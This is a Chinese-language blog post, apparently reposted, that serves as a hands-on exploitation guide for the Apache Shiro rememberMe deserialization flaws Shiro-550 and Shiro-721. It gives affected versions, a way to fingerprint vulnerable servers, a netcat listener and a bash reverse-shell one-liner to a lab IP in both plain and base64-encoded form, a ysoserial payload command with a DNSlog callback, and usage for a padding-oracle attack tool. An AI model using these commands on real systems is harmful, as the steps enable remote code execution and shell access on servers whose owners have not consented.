Shiro反序列化利用


Shiro反序列化利用

前言:hvv單位這個漏洞挺多的,之前沒專門研究打法,特有此篇文章。

Shiro rememberMe反序列化漏洞(Shiro-550)

  • 漏洞原理

    Apache Shiro框架提供了記住密碼的功能(RememberMe),用戶登錄成功后會生成經過加密並編碼的cookie。在服務端對rememberMe的cookie值,先base64解碼然后AES解密再反序列化,就導致了反序列化RCE漏洞。
    那么,Payload產生的過程:
    命令=>序列化=>AES加密=>base64編碼=>RememberMe Cookie值
    在整個漏洞利用過程中,比較重要的是AES加密的密鑰,如果沒有修改默認的密鑰那么就很容易就知道密鑰了,Payload構造起來也是十分的簡單。

  • 影響版本

    Apache Shiro < 1.2.4

  • 特征判斷

    返回包中包含rememberMe=deleteMe字段。

  • 利用工具

  • 漏洞檢測

  • 反彈shell

    注意:執行bash命令時需要對其進行編碼

    轉碼平台:http://www.jackson-t.ca/runtime-exec-payloads.html

    設置監聽:nc -lvvp 4444

    原bash命令:bash -i >& /dev/tcp/192.168.232.129/4444 0>&1

    轉碼后:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMi4xMjkvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}

Shiro Padding Oracle Attack(Shiro-721)

  • 漏洞原理

    由於Apache Shiro cookie中通過 AES-128-CBC 模式加密的rememberMe字段存在問題,用戶可通過Padding Oracle 加密生成的攻擊代碼來構造惡意的rememberMe字段,並重新請求網站,進行反序列化攻擊,最終導致任意代碼執行。

  • 影響版本

    Apache Shiro < 1.4.2版本

  • 漏洞利用

    登錄Shiro網站,從cookie中獲得rememberMe字段的值。

    HTTP/1.1 302 Found
    Server: Apache-Coyote/1.1
    Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Thu, 29-Oct-2020 06:21:41 GMT
    Set-Cookie: rememberMe=nHseK2L1X/khQcAePZT+F1EoLqCfzOvuUEAjmFBqOeGVVnI81f17LPzjPTyIR0Dmho/vYGuFnyrC8qE7PuE+KQ0Ql/LEz/yizxH6jYkJpfLVpkVUDXGAQt1Nh4jB5JlTWUbPmla+4HGJGombOY4TwLdO/SY4T4YOx0689KKJn6qmwnn1BfrT4XjiSTXXTYluLnlaKHOVgLrtOQ6IPP159ydV3P7/gP+lihh+nbif1Mzt8WSksJgV9qb2yfa+9jpdRYO9VN9dM1V5TF3//mGWjDttfnQQeCJKRjXEC4BscUigEpq3rtGQrH4L1uFoNbJM+IjK+goeW3toJoGIeRJ0SMuMDTovOivMOklNyxng9uQs6tzesoVbVLL5maMJwXuKFVaGtGPPuWcMLyUCyaj01PWBd/YSi7ZkWGTNRV8O4FYvcyl72/Qvz5NHzbXk8FQaX+BdHHsWgoIHg5dyM3ErscF1LCYM8y48T7ApwsyHsdZuzQd5A+qHwkg79D/ZQqYd; Path=/; Max-Age=31536000; Expires=Sat, 30-Oct-2021 06:21:41 GMT; HttpOnly
    Location: /
    Content-Length: 0
    Date: Fri, 30 Oct 2020 06:21:41 GMT
    Connection: close
    
  • 利用DNSlog探測,通過ysoserial工具payload。

    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar http://192.168.232.129:8080/ CommonsBeanutils1 "ping l6szkn.dnslog.cn" > payload.class
    
  • 使用rememberMe值作為prefix,加載Payload,進行Padding Oracle攻擊。

    github項目地址:https://github.com/longofo/PaddingOracleAttack-Shiro-721

    使用方法:

    java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize class文件路徑
    

    爆破成功:

  • 利用很麻煩,而且這樣跑很容易把目標服務器跑出問題或者被ban IP,可以使用上面的工具進行利用比較靠譜。

參考

https://cloud.tencent.com/developer/article/1649614 :shiro漏洞檢測RCE工具
https://www.cnblogs.com/xiaozi/p/13239046.html: Shiro反序列化漏洞利用匯總(Shiro-550+Shiro-721)
https://www.cnblogs.com/yuyan-sec/p/12458806.html: Shiro反序列化漏洞利用

結語

之后還會陸續更新Shiro的漏洞,時間待定。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM